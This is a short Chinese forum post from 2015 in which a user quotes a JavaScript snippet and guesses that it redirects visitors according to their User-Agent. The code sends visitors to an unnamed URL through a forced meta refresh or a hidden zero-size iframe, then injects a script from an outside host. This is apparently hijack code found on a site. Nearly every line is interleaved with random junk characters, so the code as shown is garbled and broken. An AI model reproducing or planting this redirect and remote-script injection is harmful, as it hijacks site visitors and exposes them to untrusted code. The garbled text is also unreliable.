|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑
( g& ^$ m& g3 g: d" r' P+ o- var ua = navigator.userAgent.toLowerCase(),
" J3 B+ a& b1 v2 h5 c - browser = { r% u1 T8 M6 f1 h5 z# ~. h
- ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],
( A7 m+ E& }1 F0 b2 e( R8 l8 B - opera: /opera/.test(ua),
) i7 L- r, O4 y& P! Z8 ~ - maxthon: /maxthon/.test(ua),8 {8 T- S8 l2 n+ F, _
- theworld: /theworld/.test(ua),
! X( f' {: n) o - qq: /qqbrowser/.test(ua),6 S$ i4 k4 [/ E8 g* s2 P
- sogou: /se /.test(ua),. @1 S/ e" V1 f, ?
- liebao: /liebao/.test(ua),
4 F8 w4 `0 y& G! S9 l/ u6 L - firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua),
8 n5 ^6 ~; U+ W T$ [% T - chrome: /chrome|crios/.test(ua),
* {9 @7 Q, Z% t s ?( y - safari: /webkit/.test(ua),9 @7 J1 s/ E' Z( P! M" I2 _
- uc: /ucbrowser/.test(ua),, H* {% \6 S/ @' o0 `
- ie: /msie/.test(ua) && !/opera/.test(ua)& p: n3 Z9 t7 M& I: T y8 |$ i) g
- };
2 W$ g3 A0 Y! o( {' r' U6 R' C - var ver = browser.ver;+ S8 W$ E S6 w) [
- if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {
: d8 e/ T- o ~8 I' C" V2 i - document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");7 }" ?7 q% q: Z
- } else {* c: x+ ^; N* A& Q5 K3 w+ H
- window.sc = "<iframe src=" + tourl + "></iframe>";
5 v2 T' W& l6 F* r - document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");6 Q$ `: }; k" Z$ U- n
- }6 W5 C" {( f# M' W1 S; `* P; J4 ]' K
- document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码
- K' u) s+ H$ x ` \1 {9 G0 g7 H2 I) E ?) y7 G, L" X5 y
好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|